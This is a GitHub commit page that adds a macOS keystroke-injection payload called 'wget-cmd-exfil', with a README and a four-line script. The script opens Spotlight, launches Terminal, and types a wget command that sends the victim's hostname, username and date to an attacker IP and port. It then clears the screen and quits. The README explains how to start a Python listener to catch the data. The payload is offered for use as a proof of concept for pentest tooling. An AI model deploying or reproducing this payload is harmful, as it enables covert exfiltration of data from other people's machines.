-
Notifications
You must be signed in to change notification settings - Fork 244
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add wget-cmd-exfil payload for mac osx
Basic PoC to exfil data using wget
- Loading branch information
Showing
2 changed files
with
32 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
# PoC to exfil data using wget | ||
|
||
* Author: [dunderhay](https://github.com/dunderhay) | ||
* Version: Version 0.1 | ||
* Target: Mac-OSX | ||
|
||
# Description | ||
|
||
Basic Proof on Concept to exfil data from terminal app using wget. | ||
|
||
# Notes | ||
|
||
Change the Attacker IP address and port number as required. | ||
|
||
## Start listener first | ||
|
||
You can use whatever web server you want or just use python: | ||
|
||
`python -m SimpleHTTPServer <port>` | ||
|
||
## Keys Used | ||
|
||
The following keys presses are emulated: | ||
|
||
| Key | In English | What it does | | ||
| --- | ------------ | ---------- | | ||
| 131+32 | Command (⌘) + Spacebar | Opens spotlight | | ||
| 131+113 | Command (⌘) + q | Quit app | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
Press:131+32 | ||
PrintLine:terminal | ||
PrintLine:wget "http://<attacker_ip>:<port>/?host=`hostname`&user=`whoami`&date=`date`"; clear | ||
Press:131+113 |